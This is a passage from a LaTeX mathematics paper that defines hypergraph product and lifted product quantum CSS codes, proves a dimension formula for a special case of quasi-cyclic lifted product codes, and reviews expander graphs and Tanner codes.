where the~parameters $d_A^\mathrm{T}$ and $d_B^\mathrm{T}$ are the minimal distances of the~\mbox{``transposed''} codes $\mathcal{C}(A^\mathrm{T})$ and $\mathcal{C}(B^\mathrm{T})$ defined by the~parity-check matrices $A^\mathrm{T}$ and $B^\mathrm{T}$, respectively.
It is important to note that if the matrices $A$ and $B$ are $(w_c,w_r)$-limited then the parity-check matrices~$H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ of the code~$\mathrm{HP}(A,B)$ are \mbox{$w$-limited}, where $w = 2\max(w_c, w_r)$. Hence, using known asymptotically good families of classical LDPC codes with $(w_c,w_r)$-limited parity check-matrices, it is possible~\cite{Tillich&Zemor:2009} to construct $w$-limited CSS codes with asymptotically non-zero rate and $d=\Theta(\sqrt{N})$ as the code length~$N\to\infty$.
\subsection{Non-binary HP codes}
Though HP~codes in the previous section are defined as binary CSS codes, it is also quite straightforward to define their non-binary versions over an~arbitrary finite field $\mathbb{F}_q$. Suppose that the characteristic of~$\mathbb{F}_q$ is $2$; then the~parity-check matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ for the~\emph{non-binary HP code} $\mathrm{HP}(A,B)$ are obtained from matrices $A$ and $B$ over $\mathbb{F}_q$ by (\ref{eq:hp-ansatz}) as for the case of binary HP codes.
If the characteristics of $\mathbb{F}_q$ is not $2$, we need a slightly modified version of (\ref{eq:hp-ansatz}) in order to satisfy the orthogonality condition $H_{\mathrm{X}} H_{\mathrm{Z}}^\mathrm{T}$:
\begin{equation}\label{eq:hp-ansatz-general}
\begin{split}
H_{\mathrm{X}} &= [A\otimes I_{m_B}, -I_{m_A}\!\otimes B],\\
H_{\mathrm{Z}} &= [I_{n_A}\!\otimes B^\mathrm{T}, A^\mathrm{T}\otimes I_{n_B}].
\end{split}
\end{equation}
\subsection{Lifted product (LP) codes}\label{sc:LP-code}
Here we consider a large family of quantum CSS codes that simultaneously generalize the GB codes and the HP codes. These codes first appeared in our previous work~\cite{Panteleev&Kalachev:2019} in a~more restricted form under the~name \emph{generalized hypergraph product (GHP)} codes. In this work we present them in a~more general form and propose a~more informative name~---\emph{lifted product (LP) codes}. In some sense, we can view these codes as lifted versions of HP codes from~\cite{Tillich&Zemor:2009}, where we lift the~coefficients in the~matrices from the binary field~$\mathbb{F}_2$ up to some ring $R$ that is also a finite dimensional $\mathbb{F}_2$-algebra. Let~us remind that the elements of $R$ can be represented by binary $\ell\times\ell$ matrices. Hence when we define the~LP code over $R$ we identify $R$ with the~corresponding matrix ring\footnote{In each example of a~finite dimensional $\mathbb{F}_2$-algebra below we always provide the~corresponding matrix representation.}. Therefore without loss of generality in the definition below we assume that $R\subseteq \Mat_\ell(\mathbb{F}_2)$, and $\mathbb{B}(a) = a$ for every $a\in R$.
Thus LP codes are essentially HP codes, where we replace elements in their binary matrices $A$ and $B$ by some elements of a~matrix ring~$R\subseteq \Mat_\ell(\mathbb{F}_2)$. As the result, we have matrices $A\in \Mat_{m_A\times n_A}(R)$ and $B\in \Mat_{m_B\times n_B}(R)$ over some matrix ring~$R\subseteq \Mat_\ell(\mathbb{F}_2)$. If $M = (m_{ij})_{m\times n}$ is a matrix over $R$ we can consider its \emph{conjugate transpose} $M^* = (m^\mathrm{T}_{ji})_{n\times m}$, where $m^\mathrm{T}_{ji}$ is the standard transpose of the matrix $m_{ji}\in \Mat_\ell(\mathbb{F}_2)$. Let us emphasize that $\mathbb{B}(M^*) = \mathbb{B}(M)^\mathrm{T}$.
Now, as in the case of HP codes, we also introduce matrices:
\begin{equation}\label{eq:lp-ansatz}
\begin{split}
H_{\mathrm{X}} &= [A\otimes I_{m_B}, I_{m_A}\!\otimes B],\\
H_{\mathrm{Z}} &= [I_{n_A}\!\otimes B^*, A^*\otimes I_{n_B}].
\end{split}
\end{equation}
These matrices have coefficients from the matrix ring $R$, but we can consider the~corresponding binary block matrices $\mathbb{B}(H_{\mathrm{X}})$ and $\mathbb{B}(H_{\mathrm{Z}})$. In order to define a~CSS code, we need to make sure that these block matrices satisfy the~orthogonality condition $\mathbb{B}(H_{\mathrm{X}})\mathbb{B}(H_{\mathrm{Z}})^\mathrm{T} = \mathbf{0}$. Since $\mathbb{B}(H_{\mathrm{Z}})^\mathrm{T} = \mathbb{B}(H_{\mathrm{Z}}^*)$, using (\ref{eq:block}) we see that condition is equivalent to ${H_{\mathrm{X}} H_{\mathrm{Z}}^* = \mathbf{0}}$, and thus can be rewritten as:
\begin{align*}
[A\otimes I_{m_B}, I_{m_A}\!\otimes B]
\begin{bmatrix}
I_{n_A}\!\otimes B\\
A\otimes I_{n_B} \\
\end{bmatrix}
&= \mathbf{0},
\end{align*}
which can be further simplified to
\begin{align}\label{eq:temp-cond}
(A\otimes I_{m_B}\!)(I_{n_A}\!\otimes B) + (I_{m_A}\!\otimes B)(A\otimes I_{n_B}\!) = \mathbf{0}.
\end{align}
It is not hard to see that if \emph{every element of $A$ commutes with every element of $B$} (we call such matrices \emph{element-wise commuting}) then using the~mixed-product formula
\[(X\otimes Y)(X'\otimes Y') = (XX'\otimes YY')\]
for the Kronecker product~$\otimes$ we have:
\begin{align*}
(A\otimes I_{m_B}\!)(I_{n_A}\!\otimes B) = (I_{m_A}\!\otimes B)(A\otimes I_{n_B}\!) = A \otimes B.
\end{align*}
Since $R$ is a ring of characteristic\footnote{If $\ch R \ne 2$ we should define $H_{\mathrm{X}} = [A\otimes I_{m_B}, -I_{m_A}\!\otimes B]$.} $2$, condition~(\ref{eq:temp-cond}) is satisfied, and
every pair of element-wise commuting matrices $A$ and $B$ defines the CSS code with the~parity-check matrices $\mathbb{B}(H_{\mathrm{X}})$ and $\mathbb{B}(H_{\mathrm{Z}})$. We denote this code by $\mathrm{LP}(A,B)$ and call the~\emph{lifted product (LP) code}. In what follows $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ are also called the~\emph{parity-check matrices} for $\mathrm{LP}(A,B)$
One can easily verify that if we take $R=\mathbb{F}_2\cong \Mat_1(\mathbb{F}_2)$ then LP~codes coincide with HP~codes. We can also see that the generalized bicycle (GB) codes with two commuting $\ell\times \ell$ matrices $A$ and $B$ given in~(\ref{eq:comm-ansatz}) are also a special case of LP codes if we consider the matrices $A$ and $B$ as $1\times 1$ matrices over~$\Mat_\ell(\mathbb{F}_2)$.
The code length $N$ of the CSS code $\mathrm{LP}(A, B)$ is given by $N = \ell(n_A m_B + n_B m_A)$. We are not aware of any simple way to find the dimension~$K$ of the code~$\mathrm{LP}(A, B)$ in the general case, but it is possible to find or estimate $K$ in some special cases. For example, if $m_A < n_A$ and $m_B > n_B$, then by counting the number of rows in $\mathbb{B}(H_{\mathrm{X}})$ and $\mathbb{B}(H_{\mathrm{Z}})$ we obtain from~(\ref{eq:CSS-dim}) the~following lower bound:
\begin{equation*}
K \ge \ell(n_A - m_A)(m_B - n_B).
\end{equation*}
Below we consider some other examples.
\begin{example}\label{ex:HP-non-bin}
If $R$ is a finite field $\mathbb{F}_q$ with $q=2^r$ elements and $A$, $B$ are some matrices over $\mathbb{F}_q$, then the~code $\mathrm{LP}(A,B)$ is obtained from the non-binary code $\mathrm{HP}(A,B)$ if we replace each non-binary element $\alpha$ in the parity-check matrix $H_{\mathrm{X}}$ of $\mathrm{HP}(A,B)$ by the corresponding associated $r\times r$ binary matrix\footnote{The finite field $\mathbb{F}_q$, $q=2^r$, is an $r$-dimensional vector space over $\mathbb{F}_2$. The~associated matrix $M_\alpha$ for $\alpha\in\mathbb{F}_q$ is the matrix of the $\mathbb{F}_2$-linear transform $x\mapsto \alpha x$.}~$M_\alpha$. At the~same time, in the~parity-check matrix $H_{\mathrm{Z}}$ each non-binary element $\alpha$ is replaced by $M_\alpha^\mathrm{T}$. Thus we obtain binary block matrices that define the binary CSS code $\mathrm{LP}(A,B)$. It is clear that the length of the binary code $\mathrm{LP}(A,B)$ is $r$ times the length of the corresponding non-binary code~$\mathrm{HP}(A,B)$. It is also not hard to check that the~dimension of $\mathrm{LP}(A,B)$ is also $r$ times bigger:
\begin{equation}\label{eq:LP-non-bin-dim}
\dim \mathrm{LP}(A, B) = r\dim\mathrm{HP}(A,B).
\end{equation}
\end{example}
\begin{example}\label{ex:LP}
If $A$ is some $m\times n$ matrix over a~commutative ring $R\subseteq \Mat_\ell(\mathbb{F}_2)$ and $B = A^*$, then we have the~LP code $\mathrm{LP}(A) = \mathrm{LP}(A, A^*)$ of length
\begin{equation*}
N=\ell(n^2 + m^2)
\end{equation*}
and dimension
\begin{equation*}
K\ge \ell (n - m)^2,
\end{equation*}
with parity-check matrices
\begin{equation*}\label{eq:lp1-ansatz}
\begin{split}
H_{\mathrm{X}} &= [A\otimes I_{n}, I_{m}\otimes A^*],\\
H_{\mathrm{Z}} &= [I_{n}\otimes A, A^*\otimes I_{m}].
\end{split}
\end{equation*}
The lower bound for~$K$ easily follows from the~CSS dimension formula~(\ref{eq:CSS-dim}) if we take into account that matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$ have no more than $2\ell m n$ rows in total. Moreover, if $A$ is full rank (as a binary block matrix), then the~matrices $A\otimes I_{m_B}$ and $I_{n_A}\otimes A$ are also full rank. Hence all rows in $\mathbb{B}(H_{\mathrm{X}})$ and $\mathbb{B}(H_{\mathrm{Z}})$ are independent and we see that:
\begin{equation*}
K = \ell (n - m)^2.
\end{equation*}
\end{example}
\subsection{Quasi-cyclic and quasi-abelian LP codes}\label{sc:qc-lp-codes}
One simple way to make all matrices over $R$ to be element-wise commuting is to enforce $R$ to be a~commutative ring. In~this section we consider one particularly important special case of LP codes with commutative ring $R=R_\ell$ that we call \emph{quasi-cyclic (QC) LP codes}, and its generalization called \emph{quasi-abelian (QA) LP codes} when $R = \mathbb{F}_2 G$ for some finite abelian group~$G$.
As we saw at the beginning of this section, if $R$ is one of these rings we can easily control the density of the parity-check matrices $\mathbb{B}(H_{\mathrm{X}})$ and $\mathbb{B}(H_{\mathrm{Z}})$ by looking at the weight matrices $W(H_{\mathrm{X}})$ and $W(H_{\mathrm{Z}})$.
In what follows, we are going to identify matrices and vectors over $R=\mathbb{F}_2 G$ with the~corresponding block matrices $\mathbb{B}(\cdot)$ and vectors $\mathbbm{b}(\cdot)$ over $\mathbb{F}_2$.
One big advantage of QC LP codes is that they are \mbox{constructed} from classical QC~LDPC codes. There are many examples of such codes with very good parameters.
\begin{example}
Consider the~$[155,64,20]$ QC LDPC code $\mathcal{C}(A)$ of circulant size $\ell=31$ from~\cite{Tanner:2001}.
\[
A = \left(\begin{array}{rrrrr}
x & x^{2} & x^{4} & x^{8} & x^{16} \\
x^{5} & x^{10} & x^{20} & x^{9} & x^{18} \\
x^{25} & x^{19} & x^{7} & x^{14} & x^{28}
\end{array}\right)
\]
We can construct the~$8$-limited code~$\mathrm{LP}(A) = \mathrm{LP}(A,A^*)$ (see~Example~\ref{ex:LP}) with parameters $[[1054, 140, d]]$. We should note that after an~extensive simulation under the~BP-OSD decoder~\cite{Panteleev&Kalachev:2019} we have not found any non-degenerate codeword of weight less than $20$.
\end{example}
If an~element~$a = \sum_{g\in G} \alpha_g g\in \mathbb{F}_2 G$ is represented by the~matrix~$\mathbb{B}(a)\in\Mat_\ell(\mathbb{F}_2)$, then we have $\mathbb{B}(a)^\mathrm{T} = \mathbb{B}(\bar{a})$, where $\bar{a} = \sum_{g\in G} \alpha_g g^{-1}\in \mathbb{F}_2 G$. The~map $a\mapsto \bar{a}$ is called the~\emph{antipode map} for $\mathbb{F}_2G$. If the~group~$G$ is abelian, then the~antipode map is an~automorphism of $\mathbb{F}_2G$ that respects the~weight of elements, i.e., for any $u,v\in\mathbb{F}_2G$ we have:
\[
\overline{u+v} = \bar{u}+\bar{v},\quad
\overline{uv} = \bar{u}\bar{v},\quad
\abs{\bar{u}} = \abs{u}.
\]
For example, for any $a = a_0 + a_1 x+\dots +a_{\ell-1}x^{\ell-1}\in R_\ell$ we~have $\bar{a} = a_{0} + a_{\ell-1}x +\dots +a_{1}x^{\ell-1}$, i.e., $\bar{a} = x^\ell a(x^{-1})$.
If $A=(a_{i j})_{m\times n}$ is a matrix over $\mathbb{F}_2G$, then it is clear that the~conjugate transpose defined in subsection~\ref{sc:LP-code} is the matrix $A^*=(\bar{a}_{j i})_{n\times m}$. Since the antipode map is an~automorphism of $\mathbb{F}_2 G$, one can easily check that:
\begin{equation}\label{eq:rk-A}
\rk_{\mathbb{F}_2} A = \rk_{\mathbb{F}_2} A^\mathrm{T} = \rk_{\mathbb{F}_2} A^* = \rk_{\mathbb{F}_2} \bar{A},
\end{equation}
where $\bar{A} = (\bar{a}_{i j})_{m\times n} = (A^*)^\mathrm{T}$. At the~same time, since
the~map $u\mapsto \bar{u}$ just permutes the bits in $u$, it is not hard to verify that $\mathrm{LP}(A,B) \sim \mathrm{LP}(\bar{A},\bar{B})$. Besides, for $\mathcal{Q} = \mathrm{LP}(A,B)$ we see from equation~(\ref{eq:lp-ansatz}) that when we change the~roles of~the matrices $H_{\mathrm{X}}$ and $H_{\mathrm{Z}}$, we obtain the~code $\mathcal{Q}^*$ that is permutation equivalent to $\mathrm{LP}(B^*,A^*)$ and also to $\mathrm{LP}(A^*,B^*)$. Hence we have that:
\[
\mathcal{Q}^* \sim \mathrm{LP}(A^*,B^*) \sim \mathrm{LP}(\overline{A^*},\overline{B^*}) = \mathrm{LP}(A^\mathrm{T},B^\mathrm{T}),
\]
and by (\ref{eq:dual-CSS}) we have:
\begin{equation}\label{eq:LP-dual-dim}
\begin{split}
d_{\mathrm{Z}}(\mathrm{LP}(A,B)) &= d_{\mathrm{X}}(\mathrm{LP}(A^\mathrm{T}, B^\mathrm{T}));\\
d_{\mathrm{X}}(\mathrm{LP}(A,B)) &= d_{\mathrm{Z}}(\mathrm{LP}(A^\mathrm{T}, B^\mathrm{T})).
\end{split}
\end{equation}
Equations~(\ref{eq:LP-dual-dim}) allow us to reduce a~problem of finding $d_{\mathrm{X}}(\mathrm{LP}(A,B))$ to a~similar problem for $d_{\mathrm{Z}}(\mathrm{LP}(A,B)$ and vice versa.
Let us note that QC LP codes are permutation equivalent to a~special case of hyperbicycle codes~\cite{Kovalev&Pryadko:HBP:2013}. If~we let ${\chi=1}$ in equation (19) from~\cite{Kovalev&Pryadko:HBP:2013}, then the~obtained CSS code is permutation equivalent to the~code $\mathrm{LP}(A,B)$; where $\ell:=c$, $A:=\sum_i a_i x^i$, $B:=\sum_i b_i x^i$. We should also note that some general results on hyperbicycle codes, such as Theorem~3 from~\cite{Kovalev&Pryadko:HBP:2013}, can be applied to QC LP codes if we assert that $\chi=1$.
\subsection{Special case of QC LP codes}\label{sc:GHP}
Let us describe a more specific case of QC LP codes used in~\cite{Panteleev&Kalachev:2019} in order to construct several examples\footnote{In~\cite{Panteleev&Kalachev:2019} these codes were called GHP codes. The parity-check matrices of three examples were described in the appendix.} with good error-correcting performance in the~depolarizing channel. In~\cite{Panteleev&Kalachev:2019} for simplicity we considered only the case when the lift size is odd. Here we consider the general case.
Let polynomial $b\in\mathbb{F}_2[x]$ be an~irreducible factor of $x^\ell - 1$ and $A=(a_{i j})_{m\times n}$ be a matrix over $R_\ell$. Consider the code~$\mathrm{LP}(A, b)$, where we understand $b$ as a~$1\times 1$ matrix over $R_\ell$. Hence the~parity-check matrices for this code have the~following form\footnote{See also equation~(\ref{eq:qc-ghp}) in the introduction.}
\begin{equation}\label{eq:lp-simple}
H_{\mathrm{X}} = [A, b I_m], \quad H_{\mathrm{Z}} = [\bar{b} I_n, A^*].
\end{equation}
We~denote by $\phi_b$ the~homomorphism from $R_\ell$ to the~quotient ring~$R_{(b)} = \mathbb{F}_2[x] / (b)$ given by the map~$u \mapsto u \mod b$. Since $b$ is an irreducible polynomial over $\mathbb{F}_2$, the quotient ring~$R_{(b)}$ is isomorphic to the~finite field~$\mathbb{F}_q$, where $q=2^{\deg b}$. Thus we can describe this homomorphism as
\[
\phi_b(u) = u(\beta) = u_0 + u_1\beta + \dots + u_{\ell-1}\beta^{\ell-1}\in \mathbb{F}_q,
\]
where $\beta\in \mathbb{F}_q$ is a root of $b$ and ${u = \sum_{i=0}^{\ell-1} u_i x^i\in R_\ell}$. For~example, if~$b = 1 + x$ then the~ring~$R_{(b)} = \mathbb{F}_2[x]/(1+x)$ can be identified with $\mathbb{F}_2$ and $\phi_b(u) = u(1) = u_0 + \dots +u_{\ell - 1}$ is just the number of ones modulo $2$ in the binary vector~$u$.
The~homomorphism $\phi_b$ can be also extended to vectors and matrices over $R_\ell$ if we apply it to each element. \mbox{For~a~vector $v$} and a~matrix~$M$, the~result of its action is denoted by $v(\beta)$ and $M(\beta)$, respectively.
\begin{lemma}\label{lp-simple-dim}
Let $b\in\mathbb{F}_2[x]$ be an irreducible factor of $x^\ell - 1$, and $A$ be~a~matrix over $R_\ell$. The dimension of the~code~$\mathrm{LP}(A,b)$ is~equal to
\[\dim \mathrm{LP}(A,b) = \deg b\rbr{\dim \mathcal{C}(A(\beta)) + \dim \mathcal{C}(A^\mathrm{T}(\beta))},\]
where $\beta$ is a~root of the~polynomial~$b$ in the field~$\mathbb{F}_q \cong R_{(b)}$.
\end{lemma}
\begin{proof}
Trivially, using (\ref{eq:rk-A}) we have:
\begin{align*}
\dim_{\mathbb{F}_2}\!\ker H^\mathrm{T}_{\mathrm{X}} &= \ell m - \rk_{\mathbb{F}_2}\!H_{\mathrm{X}};\\
\dim_{\mathbb{F}_2}\!\ker H^*_{\mathrm{Z}} &= \ell n - \rk_{\mathbb{F}_2}\!H_{\mathrm{Z}}.
\end{align*}
Besides, from~(\ref{eq:lp-simple}), taking into account that ${H^\mathrm{T}_{\mathrm{X}} = \left[\begin{smallmatrix} A^\mathrm{T}\!\\ \!bI_m\! \end{smallmatrix}\right]}$, and ${H^*_{\mathrm{Z}} = \left[\begin{smallmatrix} bI_n\\ A \end{smallmatrix}\right]}$, it follows that:
\begin{align*}
H^\mathrm{T}_\mathrm{X} u = \mathbf{0} &\iff A^\mathrm{T} u = \mathbf{0}, bu = \mathbf{0}; \\
H^*_{\mathrm{Z}} u = \mathbf{0} &\iff A u = \mathbf{0}, bu = \mathbf{0};
\end{align*}
and we have\footnote{Here $\mathcal{C}(H) = \{c \mid Hc = 0\}$ is considered as a vector space over $\mathbb{F}_2$.} $\ker H^\mathrm{T}_{\mathrm{X}} = \mathcal{C}(A^\mathrm{T})\cap\mathcal{C}_b^m$, $\ker H^*_{\mathrm{Z}} = \mathcal{C}(A)\cap\mathcal{C}_b^n$, where $\mathcal{C}_b = \{c\in R_\ell \mid b c = 0\}$ is the~cyclic $[\ell, \deg b]$-code defined by the~parity polynomial~$b$. Clearly, ${g = (x^\ell - 1)/b}$ is the~generator polynomial for $\mathcal{C}_b$, and the~elements of the~finite field~$R_{(b)} \cong \mathbb{F}_q$ are in one-to-one correspondence, given by the~map~${r\mapsto gr}$, with the~elements of $\mathcal{C}_b$. Indeed, since ${gb = 0}$, and hence $g(r + b R_\ell) = gr$, we see that this one-to-one correspondence is defined correctly. Moreover, for every $r\in R_\ell$ it follows that $g\phi_b(r) = g(r + bR_\ell) = gr$, where we used that the~homomorphism $\phi_b\colon R_\ell\to\mathbb{F}_2[x] / (b)$ can be also defined as $\phi_b\colon r\mapsto r + b R_\ell$. Therefore for every $c=gu\in \mathcal{C}_b^n$ we have:
\[
c\mkern-2mu\in\mkern-2mu \mathcal{C}(\!A\mkern-1mu) \Longleftrightarrow gAu = 0 \Longleftrightarrow g\phi_b(\!A u\mkern-1mu) = 0 \Longleftrightarrow u\mkern-2mu \in\mkern-2mu \mathcal{C}(\phi_b(\!A)),
\]
and the~map~$u\mapsto gu$ also gives a one-to-one correspondence between $\mathcal{C}(A)\cap\mathcal{C}_b^n$ and $\mathcal{C}(\phi_b(A))$. Since ${R_{(b)}\cong \mathbb{F}_q}$, ${q=2^{\deg b}}$, we see that $\dim_{\mathbb{F}_2}\! \mathcal{C}(A)\cap\mathcal{C}_b^n = \deg b \cdot \dim \mathcal{C}(A(\beta))$. By exactly the same arguments as before, we also find that $\dim_{\mathbb{F}_2}\! \mathcal{C}(A^\mathrm{T})\cap\mathcal{C}_b^m = \deg b \cdot \dim \mathcal{C}(A^\mathrm{T}(\beta))$.
Finally, using CSS dimension formula~(\ref{eq:CSS-dim}) we get:
\begin{align*}
\dim \mathrm{LP}(A,b) &= \ell(n + m) - \rk_{\mathbb{F}_2}\!H_{\mathrm{X}} - \rk_{\mathbb{F}_2}\!H_{\mathrm{Z}}\\
&= \dim_{\mathbb{F}_2}\!\ker H^\mathrm{T}_\mathrm{X} + \dim_{\mathbb{F}_2}\!\ker H^*_{\mathrm{Z}}\\
&= \dim_{\mathbb{F}_2}\! \mathcal{C}(A^\mathrm{T})\cap\mathcal{C}_b^m + \dim_{\mathbb{F}_2}\! \mathcal{C}(A)\cap\mathcal{C}_b^n\\
&= \deg b\rbr{\dim \mathcal{C}(A^\mathrm{T}(\beta)) + \dim \mathcal{C}(A(\beta))},
\end{align*}
and the lemma is proved.
\end{proof}
\begin{remark}
An~alternative proof of Lemma~\ref{lp-simple-dim} in the case of odd~$\ell$ can be found in Appendix~\ref{sc:LP-decomp}.
\end{remark}
\begin{remark}
If $b=1+x$ then $R_{b}\cong \mathbb{F}_2$, $\beta = 1$, and we obtain a~slightly simpler dimension formula:
\begin{equation}\label{eq:lp-simple-dim}
\dim \mathrm{LP}(A,1+x) = \dim \mathcal{C}(A(1)) + \dim \mathcal{C}(A^\mathrm{T}(1)).
\end{equation}
We should also emphasize that in this case the~cyclic code~$\mathcal{C}_b$ is the~$[\ell,1,\ell]$~repetition code with $g=\sum_{i=0}^{\ell-1} x^i$.
\end{remark}
\section{Expanders}\label{sc:expanders}
In this section, we remind some standard definitions and facts related to expander graphs and codes. A~more detailed treatment of these subjects can be found in~\cite{Hoory:2006}. The~main theoretical result of this section is Proposition~\ref{pr:alpha-beta}, which gives us a~way to
construct quasi-cyclic matrices of very larger lift sizes with good expansion properties. We use this construction to obtain our main result in Section~\ref{sc:lp-linear-dist}. As a~byproduct of this construction, we also get Corollary~\ref{cor:QC-dist}, which shows us how to get asymptotically good families of classical quasi-cyclic LDPC codes with a~close to optimal lift size.
\subsection{Expander graphs}
Let $G$ be a~simple\footnote{Simple graphs do not have loops and multiple edges.} graph with the set of vertices $V(G)$ and the set of edges $E(G)$. If vertices $v, v'\in V(G)$ are connected by an edge $e\in E(G)$, we call $v, v'$ \emph{adjacent} and denote this fact by $v\sim v'$ or by $v\sim_e v'$ when we want to emphasize the edge~$e$. We also say that a~vertex~$v\in V(G)$ is \emph{incident} to an~edge~$e\in E(G)$ if $v$ is one of the two vertices that~$e$ connects. The \emph{degree} of a vertex $v$ denoted by~$\deg v$ is the number of edges connected to it. A graph~$G$ is called \emph{$w$-regular} if all its vertices have degree~$w$. The \emph{adjacency matrix} for a~graph~$G$ with $V(G)=\{v_1,\dots,v_n\}$ is the matrix $A(G) = (a_{i j})_{n\times n}$, where $a_{i j}$ is the number of edges $e\in E(G)$ such that $v_i \sim_e v_j$.
Since $A(G)$ is a symmetric matrix, it has $n$ real-valued eigenvalues $\lambda_1 \ge \dots \ge \lambda_n$. Let~$\lambda(G) = \max(\abs{\lambda_2}, \abs{\lambda_n})$. We call an~$n$-vertex~$w$-regular graph $G$ an~\emph{$(n, w, \lambda)$-expander} if $\lambda(G) = \lambda$.
For any $S\subseteq V(G)$ we denote by $E(S)$ the set of internal edges for $S$, i.e.,
\[
E(S) = \{e\in E(G) \mid \exists v,v'\in S\colon v \sim_e v' \}.
\]
In the next section, we will need the following very well-known property of the expander graphs.
\begin{lemma}\label{lm:EML}
If $G$ is an~$(n, w, \lambda)$-expander and $\abs{S} \le \alpha n$, then
\[ \abs{E(S)} \le \frac12\rbr{\alpha + \frac{\lambda}{w}} w\abs{S}.\]
\end{lemma}
\begin{proof}
If $G$ is an~$(n, w, \alpha)$-expander and $S\subseteq V(G)$, then by the~expander mixing lemma~\cite[Lemma~2.5]{Hoory:2006} we have:
\begin{equation}\label{eq:EML}
\abs{\abs{E(S, S)} - \frac{w \abs{S}\abs{S}}{n}} \le \lambda \sqrt{\abs{S}\abs{S}},
\end{equation}
where $E(S,S) = \{ (v,v')\in S\times S \mid v \sim v'\}$. Let us emphasize that each edge $e\in E(G)$ that connects $v,v'\in S$ gives two different pairs $(v,v')$ and $(v',v)$ in the~set~$E(S,S)$. Hence $\abs{E(S,S)} = 2\abs{E(S)}$ and we obtain:
\[
2\abs{E(S)} \le \frac{w}{n} \abs{S}^2 + \lambda\abs{S} \le \rbr{\frac{\abs{S}}{n} + \frac{\lambda}{w}}w\abs{S}.
\]
Since $\abs{S} \le \alpha n$, we have $ \abs{E(S)} \le \frac12\rbr{\alpha + \frac{\lambda}{w}} w\abs{S}$.
\end{proof}
\subsection{Expanding binary matrices}
We say that a binary $m\times n$ matrix $H$ is \emph{$(\alpha, \beta)$-expanding}, where $\alpha,\beta$ are some positive real numbers, if for all $x\in \mathbb{F}_2^n$ such that $\abs{x}\le \alpha n$ we have $\abs{H x} \ge \beta \abs{x}$. It~is obvious that if $H$ is a parity-check matrix of some code~$\mathcal{C}$, then $d(\mathcal{C}) > \alpha n$. Furthermore, we also say that an $m\times n$ matrix $A$ over $R_\ell$ is \emph{\mbox{$(\alpha,\beta)$-expanding}} if the~corresponding binary block \mbox{matrix} $H=\mathbb{B}(A)$ is \mbox{$(\alpha,\beta)$-expanding}. It is clear that if $\mathbb{B}(A)$ is a~parity-check matrix of some QC code~$\mathcal{C}$, then $d(\mathcal{C}) > \alpha \ell n$.
The following important proposition shows that for a~wide range of parameters there exists a~$w$-limited QC matrix $A$ such that $A$ and $A^\mathrm{T}$ are both $(\alpha,\beta)$-expanding.
\begin{proposition}\label{pr:alpha-beta}
For every $\varepsilon \in (0,1)$ there exist $\alpha$, $\beta$, $\gamma$, $w$ such that for any natural numbers $\ell > 1$ and $n \ge \gamma\ln \ell$ there exists a~\mbox{$w$-limited} QC~matrix $A\in \Mat_{m\times w n}(R_\ell)$, $m\le \varepsilon w n$, such that the~matrices~$A$ and $A^\mathrm{T}$ are both $(\alpha, \beta)$-expanding.
\end{proposition}
In order to prove this proposition, we need to describe some particular type of Tanner codes~\cite{Tanner1981} used in~\cite{Sipser&Spielman:1996, Zemor:2001}.
Consider a simple $w$-regular graph $G$ with $2n$ vertices and a linear ${[w, w-r]}$~code~$\mathcal{C}_0$. The~idea of the~Tanner code $\mathcal{T}(G, \mathcal{C}_0)$ is to assign its code bits to the~$wn$ edges of $G$ and for each vertex~$v\in V(G)$ constrain the~bits connected to $v$ by the~code~$\mathcal{C}_0$. More formally, if we index the~edges of $G$ by the~set~$[wn]$ and for each vertex~$v\in V(G)$ denote by~$N(v)$ the~set of indexes for the~edges connected to~$v$; then the~Tanner code is defined as
\[
\mathcal{T}(G,\mathcal{C}_0) = \{c\in \mathbb{F}_2^{w n} \mid \forall v\in V(G)\colon c|_{N(v)}\in\mathcal{C}_0 \},
\]
where $c|_{N(v)}$ is obtained from $c$ by deleting all the~bits with indexes outside of~$N(v)$.
We suppose that $\mathcal{C}_0$ always comes with the some fixed parity-check matrix\footnote{Since $\mathcal{C}_0$ is a~$[w,w-r]$ code, the~rows of $H_0$ are linearly independent.} $H_0\in \Mat_{r \times w}(\mathbb{F}_2)$.
The parity-check matrix~$H$ for the~code~$\mathcal{T}(G,\mathcal{C}_0)$ consists of $2n$ groups of rows $(\mathcal{R}_v)_{v\in V(G)}$, where each group $\mathcal{R}_v$ corresponds to the~$r$ parity-checks of $\mathcal{C}_0$ related to the vertex $v\in V(G)$, i.e., $\rho|_{N(v)}$ is one of the rows from~$H_0$ for~$\rho\in \mathcal{R}_v$.
Hence $H\in\Mat_{2rn\times wn}(\mathbb{F}_2)$, and the~code~$\mathcal{T}(G, \mathcal{C}_0)$ has non-zero dimension whenever $2r < w$. Moreover, it is not hard to see that if $2r < w$ then $H$ is a~$w$-limited matrix.
\begin{remark}\label{rm:QC-tanner}
Let us warn the~reader that the~code~$\mathcal{T}(G, \mathcal{C}_0)$ depends on how we index the~edges of $G$ by the~set~$[wn]$. Moreover, the~parity-check matrix $H$ for the~code $\mathcal{T}(G, \mathcal{C}_0)$ also depends on how we order its rows.
Let $\hat{G}$ be an~$\ell$-lift of a~smaller base graph $G$, obtained by fixing in $G$ an~arbitrary edge orientation and assigning to each oriented edge $e=(v,v')$ some shift $s=s(e)$, which corresponds to the~permutation $\pi\in\mathbf{S}_\ell$ (the~right cyclic shift by $s$ positions) from Fig.~\ref{fg:lifting}.
Denote by $h(e)$ (resp. $h'(e)$) the~column of $H_0\in \Mat_{r \times w}(\mathbb{F}_2)$, corresponding to the~connection of the~edge $e$ to the~vertex $v$ (resp. $v'$) in the~Tanner code $\mathcal{T}(G, \mathcal{C}_0)$. The~parity-check matrix of this code looks as follows:
\[ H = \left(\begin{array}{ccc}
& \mathbf{0} & \\
\cdots & h'(e) & \cdots\\
& \mathbf{0} & \\
\cdots & h(e) & \cdots\\
& \mathbf{0} &
\end{array}\right)
\]
if we arrange its~rows to make each group of rows $(\mathcal{R}_v)_{v\in V(G)}$ a~contiguous block.
Then it is not hard to see that $\mathcal{T}(\hat{G}, \mathcal{C}_0)$ is a~QC~code of lift size~$\ell$ with the~following QC parity-check matrix $\hat{H}$, defined as a~matrix over the~ring~${R_\ell=\mathbb{F}_2[x]/(x^\ell - 1)}$:
\[ \hat{H} = \left(\begin{array}{ccc}
& \mathbf{0} & \\
\cdots & x^{s(e)} h'(e) & \cdots\\
& \mathbf{0} & \\
\cdots & h(e) & \cdots\\
& \mathbf{0} &
\end{array}\right).
\]
\end{remark}
